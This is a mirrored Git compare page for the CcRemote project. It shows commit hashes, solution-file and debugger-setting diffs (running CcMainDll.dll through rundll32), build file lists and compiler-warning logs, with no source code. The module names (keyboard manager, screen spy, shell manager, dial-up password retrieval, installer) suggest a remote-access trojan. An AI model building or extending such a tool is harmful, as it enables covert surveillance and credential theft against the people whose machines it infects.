mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-07-28 16:48:33 +00:00
Compare commits
52 Commits
202007011.
...
20201007.1
Author | SHA1 | Date | |
---|---|---|---|
![]() |
44c1925c1b | ||
![]() |
8b28f3a9ef | ||
![]() |
18d728a346 | ||
![]() |
06a9e996b7 | ||
![]() |
a618aaa7b9 | ||
![]() |
f6c547d28b | ||
![]() |
e69b7d8738 | ||
![]() |
53ab756b52 | ||
![]() |
09904297d9 | ||
![]() |
8ef2090ef7 | ||
![]() |
bec02ae086 | ||
![]() |
8fd11989d5 | ||
![]() |
fcae666dfd | ||
![]() |
383be8f669 | ||
![]() |
d2afef0ac1 | ||
![]() |
d1c3b70e8f | ||
![]() |
2d92b21ba2 | ||
![]() |
1db49c7ff3 | ||
![]() |
a771676786 | ||
![]() |
643faacca1 | ||
![]() |
a726d73711 | ||
![]() |
1440a5de60 | ||
![]() |
4ae635cd38 | ||
![]() |
4b8f225b7f | ||
![]() |
8fd8041325 | ||
![]() |
1d4b33550f | ||
![]() |
3a9a5fa585 | ||
![]() |
5229350941 | ||
![]() |
1168cd57ec | ||
![]() |
ca30e3eee0 | ||
![]() |
0817ad4f64 | ||
![]() |
642abc37ee | ||
![]() |
1aaf0ba72d | ||
![]() |
8526ac5e15 | ||
![]() |
d099304a85 | ||
![]() |
c25286c021 | ||
![]() |
79648c130c | ||
![]() |
e47417a184 | ||
![]() |
c9028528b2 | ||
![]() |
d3c213a17b | ||
![]() |
e6236c6fe3 | ||
![]() |
879c6d91b4 | ||
![]() |
38839bcf00 | ||
![]() |
bf9af90d11 | ||
![]() |
d3caf4b3c7 | ||
![]() |
9b9ada6d6f | ||
![]() |
ce2bbd9dfb | ||
![]() |
3c765bb391 | ||
![]() |
1b29464c86 | ||
![]() |
d8c29f12ee | ||
![]() |
20ba634442 | ||
![]() |
fb37fb3351 |
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -7,8 +7,6 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMa
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loder", "Loder\Loder.vcxproj", "{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
@@ -33,14 +31,6 @@ Global
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.Build.0 = Debug|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.ActiveCfg = Release|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.Build.0 = Release|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
@@ -5,7 +5,8 @@
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LocalDebuggerCommand>..\\..\bin\server\TestLoadDll.exe</LocalDebuggerCommand>
|
||||
<LocalDebuggerCommand>C:\Windows\SysWOW64\rundll32.exe </LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>F:\myapp\CcRemote\bin\server\CcMainDll.dll,MainRun</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
</Project>
|
@@ -1,41 +1,43 @@
|
||||
g:\ccremote\ccremote\bin\server\ccmaindll.lib
|
||||
g:\ccremote\ccremote\bin\server\ccmaindll.exp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\pch.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\audio.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\until.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\servermanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\regmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\regeditopt.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\manager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\install.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
||||
g:\ccremote\ccremote\bin\server\ccmaindll.ilk
|
||||
g:\ccremote\ccremote\bin\server\ccmaindll.dll
|
||||
g:\ccremote\ccremote\bin\server\ccmaindll.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.delete.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.iobj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\servermanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditopt.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ilk
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.delete.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
||||
|
@@ -1,198 +1,192 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
pch.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
Audio.cpp
|
||||
g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
ClientSocket.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(75): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(431): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(486): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(75): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(431): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(486): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
until.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(69): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(176): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(179): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(69): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(176): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(179): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4309: “初始化”: 截断常量值
|
||||
正在生成代码...
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
AudioManager.cpp
|
||||
Dialupass.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
install.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
KernelManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
